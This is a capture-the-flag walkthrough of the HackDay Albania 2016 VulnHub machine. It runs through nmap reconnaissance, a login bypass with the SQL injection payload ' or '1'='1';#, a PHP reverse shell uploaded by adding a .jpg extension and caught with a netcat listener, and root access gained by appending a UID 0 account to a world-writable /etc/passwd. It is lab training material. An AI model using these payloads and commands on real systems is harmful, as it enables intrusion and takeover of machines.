The Challenge
This was the CTF challenge used at HackDay Albania 2016. The goal is to get root and capture the flag.
The Fun
To get started with recon an nmap scan is what the doc ordered.
root@KaiZen:~/vulnhub/HackDay-Albania/40489# nmap 10.0.2.51 Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-24 13:32 EST Nmap scan report for 10.0.2.51 Host is up (0.00024s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 8008/tcp open http MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
Hmm, ssh and a web server on a non-standard port. Let’s use nmap and probe a bit further into that web server.
root@KaiZen:~/vulnhub/HackDay-Albania/40489# nmap -p 8008 --script http-enum 10.0.2.51 Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-24 13:33 EST Nmap scan report for 10.0.2.51 Host is up (0.00020s latency). PORT STATE SERVICE 8008/tcp open http | http-enum: | /robots.txt: Robots file |_ /js/: Potentially interesting folder MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds
Navigating to the website with a browser I see an error in Albanian
Translated by Google Translate the error says:
“If I am, I know where to go”
The page source has a comment also in Albanian
<!–OK ok, por jo ketu :)–>
which translated says:
“but not here”
Ok, Mr. Robot and his cheeky smirk means that the robots.txt file is the rabbit hole I need to follow. Speaking of a robots.txt file, it’s like telling a kid “Don’t touch that!” of course the kid touches that! What do you expect? So let’s see what nmap can tell us about the robots.txt file…
root@KaiZen:~# nmap 10.0.2.51 -p8008 -sV --script http-robots.txt Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-24 13:34 EST Nmap scan report for 10.0.2.51 Host is up (0.00020s latency). PORT STATE SERVICE VERSION 8008/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 26 disallowed entries (15 shown) | /rkfpuzrahngvat/ /slgqvasbiohwbu/ /tmhrwbtcjpixcv/ | /vojtydvelrkzex/ /wpkuzewfmslafy/ /xqlvafxgntmbgz/ /yrmwbgyhouncha/ | /zsnxchzipvodib/ /atoydiajqwpejc/ /bupzejbkrxqfkd/ /cvqafkclsyrgle/ |_/unisxcudkqjydw/ /dwrbgldmtzshmf/ /exschmenuating/ /fytdinfovbujoh/ |_http-server-header: Apache/2.4.18 (Ubuntu) MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds
Ok, ok, well, well, Mr sneaky here is performing some obfuscation. And it looks like someone is a fan of Billy Madison “Extenuating, “exschmenuating”. We had a deal.”.
I fired up OWASP-ZAP to assess the application in more detail and to parse the robots.txt file because doing it manually is no fun.
In one of the directories was a clue that leads to another folder.
Following this rabbit hole I come to a login page. My first thoughts are to use SQLi to bypass the login. Go with your gut kid, is what my pappy always said. This time my gut was right. It was probably that hoagie I ate last night, whatever it was, it was right!
First I test the login page to capture the login method which is a post that sends an username and password.
The first test I use a single quote to see if I get a helpful error message.
Testing the username field yields an interesting error…
Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/unisxcudkqjydw/vulnbank/client/config.php on line 102
When I send a SQLi that doesn’t cause an error I get a failed login message.
Using the ZAP resend feature I try a bunch of SQLi manually since sqlmap was of no help. When I send a properly formatted SQLi I get a Content-Length back of 732. This makes testing easier since I don’t need to scroll down to see if testing was successful.
After a few tries and combinations I found a SQLi that returned a Content-Length much larger than 732. Sure enough the SQLi worked and I was logged in as the first account.
The working SQLi was a single quote in the username field and then ‘ or ‘1’=’1′;# in the password field.
Now that I found the SQLi that works, I login to the application.
The application allows the user to upload a file as part of a trouble ticketing system.
I first try to upload a php reverse shell but it looks like the application allows only images to be uploaded.
To get by this restriction I simply added the .jpg extension to the end of the file name of the php reverse shell and the file was successfully uploaded.
Now that I had the php reverse shell uploaded, I launch a netcat listener on my attacking machine…
root@KaiZen:~/vulnhub/HackDay-Albania# nc -nlvp 1234 listening on [any] 1234 ...
When I open the ticket the php reverse shell is launched automatically and now I have a shell.
root@KaiZen:~/vulnhub/HackDay-Albania# nc -nlvp 1234 listening on [any] 1234 ... connect to [10.0.2.44] from (UNKNOWN) [10.0.2.51] 60178 Linux hackday 4.4.0-47-generic #68-Ubuntu SMP Wed Oct 24 19:39:52 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux 20:11:19 up 5:39, 0 users, load average: 1.05, 1.08, 1.03 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Now that I have a low privileged user as “www-data”, I need to find a way to escalate. I tried the normal basic escalation enumeration steps recommend by G0tmi1k. Nothing jumped out at me (although it should have) I decided to give the LinEnum shell script a shot.
I’ll admit, I over thought this one. I spent too much time looking for path vulnerabilities, mis-configured cron jobs, vulnerable services, SUID/GUID files and kernel exploits. I had to take a step back, reset and look for something more obvious.
When I ran LinEnum.sh I noticed that /etc/passwd was world writable.
Also, LinEnum told me the hash type used for storing passwords.
This looked unusual so I figured that this must be the way I can escalate.
I decided to add an user account manually into /etc/passwd. To do this I needed to create a hashed password to reaplace column 2 of the /etc/passwd file. Normally the second column is an x,*,or,!. I used mkpasswd with a SHA512 hash…
root@KaiZen:~/vulnhub/HackDay-Albania# mkpasswd -m sha-512 pwn
Then I added the account to /etc/password storing the SHA-512 hash in the passwd file and giving the new account UID0 and GID0.
echo 'haxy:$6$ZSilPwLm63OxcZ$V.qx9BNPaxRf12DioUjy7.UjIOjPDJapGLxIiaSVssqytitJtmzs9DWYAOu5zWIdu/EqmpdLYPktW5XlRgFPG.:0:0:haxy,,,:/home/taviso:/bin/bash' >> /etc/passwd
When attempting so su to the new user I get an error since my shell doesn’t have job control or something.
$ su haxy su: must be run from a terminal
There’s probably a simple way around this but I decided to create a meterpreter binary using msfvenom with a metasploit listener then drop into a shell.
When in a shell session spawned from meterpreter I ran su again and bob’s your uncle I got root!
$ su haxy Password: pwn bash: cannot set terminal process group (1180): Inappropriate ioctl for device bash: no job control in this shell root@hackday:/tmp# id uid=0(root) gid=0(root) groups=0(root)
With root obtained, I needed to find the flag in order to complete this challenge.
The flag was sitting at /root/flag.txt
root@hackday:/tmp# cat /root/flag.txt Urime, Tani nis raportin! d5ed38fdbf28bc4e58be142cf5a17cf5
Translated the above says:
Congratulations, Now begins the report!
Final Thoughts
This challenge was pretty straight forward and its difficulty was in its simplicity. I want to give a big thanks to @r_73en for the challenge and the @VulnHub folks for providing this service that keeps me trying harder.
Resources:
- https://github.com/rebootuser/LinEnum
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
- http://pentestmonkey.net/tools/web-shells/php-reverse-shell